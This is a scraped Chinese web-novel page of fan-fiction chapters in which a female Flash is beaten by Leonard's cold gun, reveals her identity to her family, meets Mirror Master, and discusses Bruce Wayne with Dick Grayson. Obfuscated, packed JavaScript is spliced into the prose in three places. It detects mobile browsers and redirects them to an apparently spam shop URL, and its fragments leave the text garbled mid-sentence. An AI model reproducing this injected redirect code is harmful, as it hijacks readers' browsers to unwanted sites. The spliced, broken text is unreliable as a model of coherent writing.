上一次,闪电侠干净利落地把两名劫匪捆好交给警察,过程快得没人看清。而这一次,闪电侠在警方频道里听到熟悉的地址后立刻赶来,有点吃惊地发现劫匪又是伦纳德——越狱潜逃版。 巴莉本来打算在抓人之前聊两句,劝他考虑一下职业规划,赶紧改邪归正。结果她刚开口抱怨一句“外星人随时会来,你竟然还在抢银行,就没有更有意义的事情要做了吗”,伦纳德就像被按下了说话的开关一样。 巴莉听得脑袋发晕,怀疑这是他用来报复闪电侠的手段。 “恐惧是资本主义最稳定的燃料。”伦纳德站在银行大堂中央,语气像教授在给大学新生上经济学导论,而不是在实施抢劫,“只要人们担心世界末日,就会更努力赚钱、更努力花钱,逼自己把每一天过得更精彩。这个道理在二战时有效,现在依然有效。金钱就是文明的奇迹。” “你现在正在窃取文明的奇迹。”巴莉冷冷地提醒他。 “再分配。”伦纳德纠正她,“这是再分配。” 巴莉差点被他的胡说八道气笑了:“所以你这是担心银行忙不过来,特地做志愿者帮助再分配吗?” 在伦纳德又一次滔滔不绝的时候,她仔细地打量了对方。 伦纳德换了造型,依然戴着护目镜,但拿了一把和上次不同的银色手枪,还换了一件样式老旧、厚重得有些笨拙的皮大衣,衣服领子后面还有带了一圈绒毛的兜帽,看起来就算被扔到冬天的西伯利亚也能活得很舒服。 这个念头让巴莉的思绪短暂跑偏。伦纳德的五官带着明显的斯拉夫特征,说不定这件大衣是他的祖先移民美国时带来的传家宝。 她甚至在脑海里描绘了一幅画面:沙皇倒台之际,一个俄国男人站在轮船甲板上,裹着同一件大衣,被海风吹得脸颊发红,望向陌生的新大陆。但男人绝对想不到,自己的后代有一天会穿着它抢银行。 “你在发呆。”伦纳德忽然说。如果他手边有粉笔,很可能会直接朝闪电侠扔过去,以惩罚这个不好好听讲的学生。 “我在想你的家族史。”巴莉诚实回答。 伦纳德的表情顿时变得古怪:“抢劫银行不是我的家传职业。” “我是说,你这件衣服很有历史感,看起来像是家族传承。”巴莉解释道。 伦纳德低头看了眼自己的大衣,语气平淡:“二手商店买的。” 巴莉沉默了一秒。 她与那位想象中的沙俄移民挥手告别,决定赶快结束这场闹剧:“你应该趁着还能回头的时候停下。你还年轻,自首之后会被从轻处理的。” “你怎么说话这么老气横秋。”伦纳德取笑她,“我觉得你是个幼稚的小男孩,对世界抱着不切实际的幻想。不过天气巫师猜测你是个五十岁的老家伙,喜欢多管闲事,总想着拯救年轻人。” 天气巫师?这是马克·马东给自己起的代号吗?真看不出来,他竟然是这种绿野仙踪的风格。 还有,他们两个是怎么认识的?不会私下成立了一个“抵制闪电侠俱乐部”吧? 巴莉在心里幻想着把伦纳德吹到撒哈拉沙漠,她将会双手叉腰哈哈大笑,围观他因为穿着厚重大衣而热得当场中暑。 但表面上,她假装自己一点也没因为他的嘲讽而生气,还在耐心地劝说:“你主动跟我出去,我会告诉警官你是自首的。否则,我只能把你捆起来送过去了。” “同样的错误,我怎么可能会犯第二次。”伦纳德举起枪,对准巴莉,“你抓不到我的。” 巴莉困惑地看着伦纳德,不明白他为什么会觉得一把枪能挡住闪电侠。上次他也带了枪,虽然这次的口径更夸张,但对于她来说,威力大小没有本质区别。 下一秒,她就知道了答案。 伦纳德扣下扳机,却没有子弹射出,只发出一声嗡鸣。巴莉因为自信而没有闪避,反而径直朝前跑去,打算去抓住伦纳德。 然后她发现自己的速度比乌龟还慢,而且感觉冷得要命。更糟糕的是,由于失去了高速振动的能力,伦纳德能清楚地看见她露在面罩外的下半张脸。 “这是我发明的冷冻枪。”伦纳德慢悠悠地介绍,仿佛在用语速嘲笑闪电侠的迟缓,“它可以在分子层面减缓速度,让你动弹不得。” 巴莉冷得牙齿打颤,拼命挣扎着移动,却好像在表演一段拙劣的慢动作喜剧。 伦纳德左手拎着装满钱的口袋,右手握着枪,一步步地走到巴莉面前,欣赏着自己的成果。 他随手放下口袋,朝巴莉的面罩伸出手:“你知道我的名字,我却不知道你的——我是指真名。现在是揭晓答案的时刻了。” 巴莉大惊失色,却只能眼睁睁地看着那只手越来越近,几乎要碰到面罩边缘。 恐慌和委屈同时涌上来,但她仍在努力一点点地向后移动,做着毫无意义的抵抗,仿佛只要不停止挣扎,就没有认输。 在这一刻,她满脑子只有一个念头:如果伦纳德知道了她的身份,乔和伊德瑞斯会不会因此被拖进危险里? 她为什么一直这么有信心,认为自己一定能守住秘密身份? 其实她已经被动地暴露过两次了。第一次是在变种人学校,第二次是在布鲁德海文。 也许正因为那两次她都被友善地对待,这份安全感才被无形地放大,让她的错觉愈发根深蒂固。仿佛只要她足够快、足够谨慎,危险就追不上她。 但如果她不那么快了呢?如果她面对的不是友善的人呢? 伦纳德看着闪电侠失去了之前的活力,忽然收回了手,像是临时改变了主意:“算了,我知道你叫闪电侠,这就够了。” 他重新拎起口袋,语气轻快:“我给自己起了个代号,寒冷队长。怎么样,好听吧?” 在巴莉能回答之前,他已经转身离开了。 几秒钟后,巴莉终于恢复了速度。她冲出银行,但毫不意外地,伦纳德早已不知踪影了。 她的心情糟糕透了,却不得不装作若无其事地回警局工作。 这一天是工作日,她是假装上厕所溜出来的,本以为这只是一次速战速决的小插曲,可以神不知鬼不觉地回到座位。 巴莉几乎是靠惯性过完了剩余的工作时间,她的身体在自动运转,意识却像隔着一层玻璃。她期待着下班,回家,锁上浴室门,哭五分钟,然后装作什么都没发生过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121073|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 结果她刚出门,就迎面撞上了乔。 “伊德瑞斯定了今晚的餐厅,还记得吗?”乔盯着巴莉,觉得她看起来心不在焉。 巴莉愣了一下,才想起那家开业没多久的意大利餐厅。那家店生意火爆,伊德瑞斯订位时发现最早也要排到三个月之后,气得当场把预约截图发到家庭群里,还在所有人的日程表上放了加粗备注。 她已经期待很久,连要点什么甜点都提前做好了功课。 而现在,她竟然完全忘了。 “……那我们快去吧。”巴莉低着头说。 乔又看了她一眼,但没有追问,只是带她上了车。路上他讲了几个工作中的笑话,巴莉跟着笑了两声,尽力调整自己的状态。 伊德瑞斯已经在餐厅等他们了。靠窗的位置灯光温暖,玻璃外是流动的夜色,玻璃内是一道道精心制作的菜肴。他们享用了一顿非常美味的、完全不辜负漫长等待的晚餐。 巴莉努力表现得像往常一样,她也确实在发自内心地享受着这种轻松的家庭时光。 但每当她看向乔或伊德瑞斯时,一个念头总是控制不住地冒出来:如果伦纳德没有在最后一刻停手,他们的平静生活是不是就此被打破了?他们此刻还会坐在这里吗? 这个想法像一根细小却锋利的刺,反复地扎在她的心里。 回家时,乔最后一个进屋,一边锁门,一边对两个孩子感慨:“这家店是真的贵,但也是真的物有所值。” 伊德瑞斯得意地说:“我可不光是去吃,也是为了学习。巴莉,我觉得那道小羊排我能在家复刻出来。” 按理说巴莉会欢呼,会要求他尽快试试,宣布她将担任评委,认真鉴定他的菜品。 但她站在客厅,手里的包都还没放下,忽然转过身,背对着他们,肩膀微微蜷着。 伊德瑞斯起初并没有察觉巴莉在抽泣,因为她的声音很轻,像是在拼命压住,不想让人听见。 但情绪像决堤的水,她越想控制,呼吸就越乱。几秒之后,巴莉干脆放弃了,哭声一下子大了起来,看起来可怜又无助。 “怎么了?”伊德瑞斯吓了一跳,赶紧推着巴莉坐到沙发上,轻轻地拍着她的后背安抚,“出什么事了?” 乔也立刻走过去,在巴莉旁边坐下,神情严肃地说:“我今晚一直觉得,你看起来有点不一样。” “我发现自己一直以来都把事情想得太简单了。”巴莉抽抽噎噎地说。 “你有的时候确实天真。”乔公允地说,“但乐观地看待世界不是缺点,反而是你受人喜爱的原因之一。” 这句话本该起到安慰的作用,却让巴莉哭得更厉害了。 “我还很自私。”她断断续续地说,“有件事我一直没告诉你们。” 巴莉接过伊德瑞斯递来的纸巾盒,胡乱地擦了擦脸。她盯着纸巾盒边缘的花纹,忽然有点不敢抬头,但还是清晰地说: “我是闪电侠。” 空气安静下来。 乔和伊德瑞斯同时瞪着她,像是没听懂这句简短的话。 还是乔先找回了声音:“……这倒是解释了很多。比如你的饭量。” “还有你的忙碌。”伊德瑞斯补充。 巴莉吸了吸鼻子,声音闷闷的:“如果有坏人发现我的身份,作为对闪电侠的报复,他可能会伤害你们。我其实一直都明白这一点,可我总以为自己能保护好这个秘密……直到今天,我差点被人摘下面罩。” “怎么可能?”伊德瑞斯立刻坐直了身体,但他关注的重点并不是危险,而是:“有人比闪电侠还快?” “不,但是他有一把能让我变慢的武器。”巴莉气呼呼地说,“不过我一定会想出应对办法的。就算我想不出来、威尔斯博士也会帮我。” 27.第 27 章 听到威尔斯博士的名字,乔的表情瞬间垮了下来:“威尔斯博士比我们先知道?” “呃……我需要星辰实验室的帮助嘛。”巴莉小声解释。 乔勉强点了点头,不得不接受这个既定现实:“好吧。如果她是在帮你,让你更安全,我不会跟她计较。” 话虽如此,他的语气还是酸溜溜的。 “至于我们的安全,”乔继续说,恢复了一贯的稳重态度,“没什么好担心的。第一,我们有基本的自保能力。第二,说不定在你的身份暴露之前,外星人先把人类灭绝了。” “这个例子太糟糕了。”伊德瑞斯忍不住插话。“但巴莉,说真的,与其说你担心我们,不如说我们更担心你。你会去一般人根本不会涉足的危险地方,面对穷凶极恶的、有高科技武器或超能力的歹徒,而我们却帮不上你。” “你们一点都不生气吗?”巴莉小声问。“我让你们身处危险,更可怕的是,你们根本不知道,也毫无防备。” 乔叹了口气,拍了拍巴莉的肩膀:“我怎么可能会怪你?你没有第一时间告诉我们,我确实有点难过。但我知道这不是因为不信任,你只是需要时间去消化这一切。我唯一庆幸的是,你没有在我看不到的地方受伤。” 他说到一半还是没忍住,暴露了自己的耿耿于怀:“不过威尔斯博士比我先知道这件事……” “对不起嘛。”巴莉可怜巴巴地说。 “这不怪你。”乔立刻改口,充分展现出“我家孩子永远没错”的立场,“这是威尔斯博士的问题……” “我们暂时别提她了吧。”伊德瑞斯无奈地说,“或者永远别提。” 乔决定听从这个建议。他清了清嗓子:“巴莉,你在获得了超能力之后选择去帮助别人,是因为你本来就是这样的人。我当然希望你能过平凡幸福的生活,像其他年轻人那样无忧无虑地谈谈恋爱,偶尔做点老了之后能当成笑话的傻事,但我更希望你过的是你自己想要的生活。” “伊德瑞斯也没谈恋爱。他也天天加班,没有娱乐。”巴莉狡猾地拉别人下水。 与其反省自己,不如指责他人。大家都犯错,等于大家都没犯错。 伊德瑞斯已经预料到她会来这一套,连辩解都懒得说,直接无视她的出卖友军战术:“所以,你是因为星辰实验室的爆炸而获得这种能力的?” “我认为是这样。”巴莉说,“前阵子出现了另一个人,他获得了操控天气的能力,大概也是那次事故的结果。” “那你的身体健康会受到影响吗?”伊德瑞斯担忧地看着巴莉,“科幻小说里经常写时间流速不同带来的后遗症,你的能力——” “神速力。”巴莉接话。 “——神速力,会对你的身体产生负面影响吗?” “目前看起来没有,除了让我更容易饿。”巴莉用乐观的语气回答,“好的变化是,我的愈合能力变快了。威尔斯博士为我做过详细体检,一切正常。” 她看得出来,伊德瑞斯对这个充满不确定性的答案并不真的放心。只是她也没办法给出更肯定的保证了。 短暂的沉默之后,乔再次开口:“虽然我们可能没法在战斗上帮到你,但战斗需要的不只是拳头和速度,也需要知识、判断和其它支持,比如等待你安全回来的家人和一顿热腾腾的晚餐。” 伊德瑞斯举起三根手指,以童子军的礼节宣誓:“我们永远是闪电侠队伍(Team Flash)的。” “我为你骄傲。”乔郑重地说。 巴莉的心情终于彻底放晴了。她扑过去抱住乔:“我也为你骄傲,因为你养出了伊德瑞斯和我这么好的孩子。” 伊德瑞斯夸张地表演受宠若惊:“你在自吹自擂的时候居然没忘记带上我,我太感动了。什么是团队精神?这就是团队精神。” “怎么可能落下你。”巴莉笑着把伊德瑞斯拽过来,让他也加入乔的怀抱,三个人挤成一团。 “你们两个是要把我压晕吗?”乔大喊,声音被夹在中间显得格外悲壮,“我要喊闪电侠求救了。” 巴莉和伊德瑞斯笑得更厉害了,非但没松手,反而抱得更紧。乔象征性地挣扎了两下,最后还是放弃抵抗,把他们一起圈住。 将自己的闪电侠身份告诉家人之后,巴莉的心情好得就像中心城的阳光一样。 第二天,巴莉和威尔斯博士一同对制服进行了改进,特别加强了防寒性能。 根据巴莉亲身感受到的极端寒冷,以及制服上残留的能量痕迹,两人得出一个难以置信的结论:那把冷冻枪能将分子运动降低到基本静止的状态。 巴莉心有余悸地说:“我当时话都说不出来,眼睫毛上甚至结冰了。如果不是现在我的身体素质远超常人,我可能变成了冰雕。” “下次就不会这样了。”威尔斯博士安慰道,“不过,你这次完全没有闪躲,这是个坏习惯。不能仗着速度去冒险,因为你永远不知道对方手里还有什么底牌。” 巴莉懊恼地点了点头:“我学到教训了。” 威尔斯博士又惊叹道;“如果此人仅凭自己独自研发出了这把武器,那他在热力学上的成就之高,就算焦耳复活也得俯首。” 巴莉有点遗憾地说:“也许他并不只是在热力学上有天分,但是为了针对闪电侠,选择把精力全都放在这上面。” 她想不通伦纳德为什么对闪电侠有这么大的执念,专门针对她研发了武器。她同样想不通的是,伦纳德为什么会在最后一刻停手,没有摘下她的面罩。 这种矛盾让伦纳德在她眼里变得愈发难以理解。他危险又克制,抱持着只属于自己的规则,像一块没有刻度的仪表盘,你能看到它在运转,却无法判断指针所指究竟意味着什么。 巴莉很快发现,伦纳德比她想象的更加不按常理行事。 中心城出现了一位新的超能力者,伊万·麦克洛奇。 他第一次出现在银行监控画面里时,是从一位客人手里的化妆镜里钻出来的。那位姑娘吓得尖叫起来,立刻将粉盒丟得远远的。 下一秒,银行大厅被无数重叠的幻象填满,镜像如同万花筒一样展开。人群惊慌逃窜,却没意识到自己只是在原地反复兜圈。 闪电侠赶到现场时,几乎分不清哪一个才是真人。真正的伊万站在无数倒影中央,笑得十分嚣张:“闪电侠!久仰大名,我们终于见面了。” “你把人关在镜子里了。”巴莉很快明白发生了什么,“快把他们放出来。” “放心,我不会伤害他们的。”伊万摆摆手,“我杀人是要收费的。” “什么?”巴莉大惊。“给你钱的话,你就会去杀人?” “那是过去式了。我已经不做职业杀手了。”伊万解释道,就好像这个信息让人听了会很心安一样。“我现在是‘镜像大师’。” 巴莉尽力对此给出正面评价:“好吧,至少你在犯罪道路上后退了几步。” 在闪电侠的劝说下,伊万放走了镜子中的人。成年人纷纷小跑着离开,生怕慢一秒钟就被再次困进镜中。 巴莉几乎能从银行经理的表情里读出她的想法——这家分行以后绝不能出现任何镜面。无论这个想法是否真的有可行性,至少此刻,现场的成年人都患上了不同程度的镜子恐惧症。 孩子的反应则完全不同。一个六七岁的小女孩在镜中世界里一直兴奋地蹦蹦跳跳,仿佛进入了奇妙的游乐场,最后还意犹未尽地不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯……”巴莉被伊万的无耻惊呆了,“那不就是说,这面镜子的价格是十美元,我有九美元九十九美分,而你一分钱都没有。这种情况下,我为什么要和你一起买?” “计算正确。”伊万满意点头,“既然我一分钱都没有,我来抢银行有什么问题?” “问题太多了!”巴莉抓狂。“你已经有这么强大的能力了,不考虑通过合法途径挣钱吗?如果你开个游乐场,镜子迷宫这类游戏肯定很受小孩子的欢迎,不少成年人也会喜欢。” “工作意味着失去自由。”伊万一脸惊恐,仿佛闪电侠提出了一个非常可怕的建议。“而我想要自由地安排我的时间。” “可你现在并不自由啊。”巴莉疑惑道,“你不是得听伦纳德的指挥吗?” “当然不用。我们的自由度很高的,只需要遵从我刚才讲的那些规则就行了。当然,如果大家想合作的话,也可以私下组队。”伊万解释道。“我已经受够了别人对我指手画脚,可不想再有一个领导。” 这算什么组织,简直就是个俱乐部吧。巴莉暗自吐槽无赖帮松散的管理方式。 她瞥了一眼时钟:“谢谢你提供的信息。但我还是得把你抓起来。” “你抓不住我的,”伊万自信地说,“至少今天不行。这里到处都是镜面。” 巴莉知道对方说的是对的。除非事先做好安排,在伊万出现后挪走所有镜面,否则只要还有一块镜子存在,他就永远留着退路。 伊万后退一步,利落地进入了镜中世界,然后消失不见。 巴莉叹了口气,只能无奈地离开了。 28.第 28 章 在对迪克讲起无赖帮的时候,巴莉原本只是想吐槽中心城已经离谱到让人难以置信的犯罪生态。 那天她来布鲁德海文参加一场培训,内容是最新的物证鉴定技术。收到日程安排时,她第一时间告诉了迪克,两人约好一起吃晚饭。 但在培训结束后,迪克临时被工作绊住,加班了半小时。巴莉便在警局里等他,百无聊赖地四处打量,顺便暗中观察格雷森警官的工作环境,试图分辨哪些人是迪克提过的黑警。 很快,她忧愁地意识到自己显然不是做侦探的料,至少不是福尔摩斯那种只消一眼就能分析出对方今天干了什么坏事的天才。在未经跟踪和调查的情况下,她眼前的每个警察看起来都认真又敬业,毫无可疑之处。 “我们可以走了。”迪克换下制服,穿着衬衫和牛仔裤出现在巴莉眼前。 两人去了一家气氛温馨的家庭餐馆,坐在角落的位置,不必担心谈话被别人听见。 巴莉把无赖帮的那套“有纪律的犯罪团体”规则复述了一遍,刚说完就发现,对面布鲁德海文的夜翼要羡慕哭了! 这种表情出现在迪克那张如古希腊雕塑般的脸上,实在是有点不搭调,但巴莉想到他平时面对混乱和邪恶的辛酸时,又觉得笑不出来了。 “中心城的民风太淳朴了。”迪克甚至掐了自己大腿一把,以确认这不是幻觉,“如果是在哥谭,无赖帮几乎可以直接注册成慈善组织了。” “呃……倒也不必这么夸他们吧。”巴莉不知道迪克在哥谭经历了什么,才会留下如此强烈的心理阴影。“我可是被冷冻枪击中了,那感觉很糟。” “冷冻枪?”迪克觉得这个武器听起来很耳熟,“哥谭有个代号叫急冻人的家伙,武器也是这个风格。不知道他们两个谁更厉害。” “短时间之内,我们可能不会知道答案了。”巴莉想起天气巫师提到哥谭时那种避之不及的态度,“无赖帮的人都很有自知之明,轻易不会踏足哥谭。” 而哥谭的反派也有一种近乎执念的地域忠诚,认准了哥谭市祸害,很少外出“拓展业务”。 迪克看着巴莉,忽然笑起来:“你到底是来抱怨,还是来炫耀的?” “本来是抱怨的。”巴莉也忍不住笑了,“但跟你聊完才发现,我好像应该改成炫耀。” 她发自内心地说:“其实中心城这样挺好的。我不用把大部分精力都花在跟纯粹的坏人斗争上,而是能腾出时间去救人、去避免灾祸发生,让普通人的生活变得更安全一点。” “在这方面,超级速度的确很有优势。就像超人一样。”迪克赞同道。 “我也因此更佩服你的工作了。你面对的情况远比我的更复杂、更黑暗,但你总是这么乐观。”巴莉想起自己被冷冻枪击中的那天,她哭得眼睛都肿了——考虑到她的超强复原能力,她当时哭得可真够猛烈的。 后来伊德瑞斯形容她像“一只接在大海上的淋浴喷头”,被她狠狠瞪了一眼之后才改口,说顶多是接在密西西比河上。 “其实我也有负面情绪。”迪克承认道。 他说这话时微微垂下眼睛,浓密的睫毛在眼下投出一小片阴影,让他看起来罕见地冷淡,甚至有些疏离感。 “只是习惯了而已。可能是出于责任吧。”他轻声补充,“我总得先把事情做完,再找时间消化那些崩溃的情绪。但问题是,事情永远做不完。” 巴莉明白,那是长期与黑暗共处后学会的生存方式。 “工作上,那些讨厌的家伙还那么活跃吗?”她问。 “还是老样子,好在我和几个理念相近的同事能互相照应。”迪克说,“我不能永远单打独斗,那样改变不了整体风气。” “你说得对。单打独斗在夜间工作里或许是必要的,但在白天的工作中,没有人能是一座孤岛。”巴莉点头。 聊过了双重工作中的喜与忧,话题朝着一个出乎迪克预料的方向转去。 巴莉开始打探布鲁斯·韦恩的消息:“我觉得布鲁斯·韦恩和新闻里描述的那个人不太一样。你是哥谭人,听说过什么小道消息吗?” 巴莉并不是时时刻刻都在想这件事,只是偶尔闲下来时,韦恩先生那一瞬间的表情会毫无预兆地浮上心头, 诚然,全世界都知道韦恩先生的父母英年早逝,这是报道里对他一切行为的标签式注脚,仿佛“童年创伤”四个字可以解释一切。 但韦恩先生已经三十多岁了。一个人不可能只由八岁那一晚定义。时间会在伤口上叠加新的伤口,也会在旧伤上长出别的东西——责任、秘密、选择、悔恨。她太清楚这一点了。 母亲去世的那个夜晚潜移默化地影响了她人生中的每一个决定,但那并不是唯一的因素。她也同样被其它经历塑造,被其他的人所影响。 那么韦恩先生呢?他的生活里到底还发生了什么别的? 在公开信息渠道找不到自己想要的答案,巴莉开始思考起替代方案。 在她认识的人里,谁的消息灵通,又对哥谭了解很深呢? 答案呼之欲出—— 迪克。 听了巴莉的问题。迪克脸上的表情变得有点古怪:“你具体指的是哪一方面?” “嗯……他真的只是个美丽花瓶吗?你看,韦恩集团的营业收入每年都在增长,慈善投入也非常高,为什么人们还是将韦恩先生当成一个不太聪明的、很好哄骗的钱袋子?” 迪克沉默了几秒,内心进行了一场极其激烈的挣扎:到底该把布鲁斯的刻板印象维持到什么程度,才能既应对巴莉的问题,又不至于太过欺骗她? 倒不是说他会为了隐瞒自己和布鲁斯的秘密身份而产生负罪感。这种谎言他早已驾轻就熟,几乎成了本能。 真正让他迟疑的,是昨天那趟回哥谭的行程。布鲁斯向他透露了蝙蝠侠的最新计划:组建一支保护地球的队伍,专门应对那些单凭一人之力无法承担的威胁。 而在看到布鲁斯最近的调查结果之一——闪电侠的真实身份是巴莉·艾伦——时,迪克哭笑不得。 “你应该先问我的,”他说,“我知道这个。” “你调查了闪电侠?”布鲁斯有点吃惊。 “准确地说,我先认识了巴莉。后来闪电侠来找夜翼,我认出了她,然后我也坦白了我是谁。” 布鲁斯皱起眉头,显然对这套互相摊牌的流程十分不赞同:“你们都太轻率了。” “我了解巴莉,也信任她。”迪克语气平静,“但如果她不是闪电侠,我绝不会把另一个身份告诉她。” 在得知巴莉是闪电侠之后,他其实暗暗高兴了一阵子。如果她只是一个普通的警局工作人员,他不会允许任何越界的想法冒头,永远停留在朋友的界限上。 这不是傲慢或骄傲,只是清醒的自知之明。他无法兼顾夜间工作和普通生活,也不愿把危险带给一个无辜的人。 但巴莉是闪电侠,这改变了一切。 布鲁斯没有继续追究,而是问迪克是否有兴趣加入那个尚且只存在于计划中的队伍。 迪克想了想,还是拒绝了。 尽管布鲁斯并不需要一个理由,只需要一个回答——他向来如此——但迪克还是解释了一句:“不能把鸡蛋都放在一个篮子里。” 布鲁斯点头,转而提到自己不打算向未来的队友公开真实身份,只会将布鲁斯·韦恩定位为资金赞助者。 迪克对此并不乐观,并看出阿尔弗雷德也是这样想的。原因很简单,他们不认为这种单向透明的结构能长久维持。 当所有人的身份都对蝙蝠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147590|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侠敞开,而蝙蝠侠始终站在阴影里,他们真的能若无其事地接受这种不对等吗?也许一开始可以,但时间久了呢? 在迪克看来,布鲁斯迟早会改变主意,或者被现实逼着改变主意。 有鉴于此,迪克对此刻的回答格外慎重,不想为未来的自己挖一个难以收场的坑。 他先询问巴莉:“你认识布鲁斯吗?” “只是偶然见过,谈不上认识。”巴莉说。 “营业收入增加是管理层的功劳,慈善投入确实受到了布鲁斯的个人意愿影响,但他要做的也就是签支票,这不需要太多的……智慧。”迪克说到后面忽然顿住,用敏锐的眼神看着巴莉:“等等,你刚才说他是花瓶就足够了,为什么还要强调‘美丽’?” 巴莉立刻否认三连:“我不知道、我没注意、我忘记了。” 这都要怪媒体拍到的各种角度的高清照片,以及那些越来越离谱的昵称。巴莉还记得看到有媒体把年轻的韦恩先生称作“奶油泡芙”的时候,她正在吃一枚香香软软的抹茶泡芙,当场对哥谭文字工作者的联想能力肃然起敬。 当然,这种甜到发腻的称呼还是少数。更多时候,人们叫他“哥谭甜心”或者“哥谭王子”,这几乎成了韦恩先生的专属代号。 迪克静静地看着巴莉,后者在他的注视下开始眼神闪躲,然后迅速转移话题。 “他领养的两个儿子是怎么回事?”巴莉问,“我不相信那些恶意传言,但也确实理解不了他的行为。如果他只是想资助某个孩子,完全可以通过基金会,为什么要领养呢?” “可能他就是喜欢孩子。”迪克说。 “喜欢和他一样黑发蓝眼的男孩子吗?”巴莉看着迪克,随口说道:“不过黑发蓝眼其实挺常见的,比如你也是。” 迪克尴尬得想逃跑,跑到月球上去。他轻咳了一声:“你为什么不去哥谭问问蝙蝠侠呢?” “我又不认识他。”巴莉很自然地回答,说完却忽然想歪了,“等等——你的意思是,韦恩先生的性格是受蝙蝠侠影响和塑造?他们到底是什么关系? “不是媒体上写的那种关系。”迪克扶额,赶紧做出澄清。 “你指的是哪种关系?”巴莉装作无知地问,语气却充满了期待。 迪克谨慎地没有跳进陷阱:“我的意思是,蝙蝠侠对哥谭更了解,不是吗?而且他大概会回答你的问题。” 巴莉忽然意识到了什么:“你怎么知道他会回答?你认识蝙蝠侠?” “认识。”迪克简洁地说。 “但你会对我们的谈话保密的,对吧?”巴莉的语气中带着毫不设防的信任,“我现在感觉自己像个狗仔队,怪尴尬的。” 迪克露出一个无懈可击的笑容:“放心。我一向很擅长保守秘密。” “比如你的夜间工作。”巴莉调侃地说。 “巴莉,”迪克忽然认真地喊了她的名字,“布鲁斯是个很有魅力的人,是哥谭十万少女的梦。但你没必要花太多时间去研究他。” 巴莉愣了一下,随即眯起眼睛:“这听起来不像是在评价他,更像是在警告我。” “不是警告。”迪克立刻否认,语速快得有点可疑,“只是……友情提示。” “提示什么?” 迪克非常理性地说:“提示你不要对任何人产生错误的期待。公众人物都这样,你看到的和真实的之间永远隔着几层包装。越好奇,越容易失望。” “你说的可能是对的。”巴莉承认,“不过,我原本就想找机会去拜访一下蝙蝠侠,也许我应该尽快去一次哥谭。” 见迪克露出欲言又止的表情,显然已经开始后悔自己刚才说过的话,巴莉笑了:“放心吧,我不打算去问他关于韦恩先生的事,更不会问他们之间的关系。” 29.第 29 章 巴莉对蝙蝠侠的了解全部来自二手信息,而这些信息里,她认为至少百分之九十九都带着夸张滤镜。 有人说蝙蝠侠能从几十层高的楼顶直接跳下而毫发无伤,甚至有人坚称他是飞下去的;有人坚信他能在黑暗里隐身;有人说他是吸血蝙蝠成精。 还有人说蝙蝠侠不吃、不喝、不睡觉,只靠仇恨活着。这一点甚至不是全然的胡编乱造,而是源于蝙蝠侠的自述:我是复仇,我是黑夜,我是蝙蝠侠。 虽然他现在很少说这句登场台词了,但这段传说仍然被人津津乐道。 不过,有两件事是可以确定的:蝙蝠侠已经活跃很多年了,久到成为和哥谭密不可分的存在;以及,他特别、特别厉害,无论从哪个角度来看都是如此。 “我可能会先去拜访超人,或者神奇女侠。”巴莉想了想,又临时改口,“我对去见蝙蝠侠有点紧张。” “为什么?因为传说中他很凶残?”迪克想不到巴莉也会有裹足不前的时候。在他眼里,巴莉总是在向前奔跑,带着一往无前的决心和勇气,以及一点点无伤大雅的莽撞。 计划可以调整,先出发再说。 她和迪克不一样。迪克是被系统训练过、又在夜巡中被反复打磨出来的义警,对风险的预判和对失败的应对已经成为本能;她更不像蝙蝠侠。后者习惯为一切可能性做好预案,不只是准备Plan B,还要为Plan B准备Plan C,再为Plan C准备Plan D,直到字母表不够用。 她还保留着太多普通人的部分:会紧张,会误判,会因为直觉而做决定,也会轻易地相信别人。但正是这样真诚又坦率的巴莉让人很难不被吸引。 “那倒不是。”巴莉立刻摇头,“我能理解战斗的时候,如果对手特别暴力,我们只能用更大的暴力去终止它。那不是我在意的部分。” 她努力找出一个不太幼稚的说法,但话说出口时,声音里还是带上了一点怯场的迟疑:“我只是觉得……他可能会很严肃,那种年长者的严肃。像一个站在讲台上,随时会喊你名字、让你回答问题的老师。” 然后,她漫不经心地说出让迪克不敢相信的话:“毕竟,我们之间可能差了几十岁吧。” “几十岁?”迪克瞪大眼睛,“这是怎么计算出来的?” “只是感觉啦。”巴莉也知道自己的计算水分很大,完全不合理,“一个存在了这么多年的都市传说,我很难不把他想象成一个白头苍苍的老教授……或者是没有头发的版本。这么一想,哥谭的反派是真的很坏啊,居然天天和一个老人打架……虽然更多时候是被那位老人殴打。” 迪克努力不要流露出幸灾乐祸的情绪,艰难地维持了面无表情,在听完巴莉的脑补之后评论:“我想蝙蝠侠可能会因为你的信任而非常感动,因为你觉得他即使是在满头白发的年纪,也依然战无不胜。” “老兵不死,只是凋零。”巴莉下意识地接话,“不,我不是说他老到那个程度了。” 她深觉自己越描越黑,仿佛亲手给自己挖了个坑,还在努力往里填土。巴莉痛苦地捂住嘴,闷声闷气地说:“我们当刚才的一切都没发生过,好吗?” “可以。”迪克答得飞快,然后很自然地朝她伸出一只手,熟练得像是长期从事敲诈勒索,“但需要支付封口费。” “中心城标准还是布鲁德海文标准?”巴莉用客服的温柔语气询问。 “区别是什么?”迪克毫无防备地踏进陷阱。 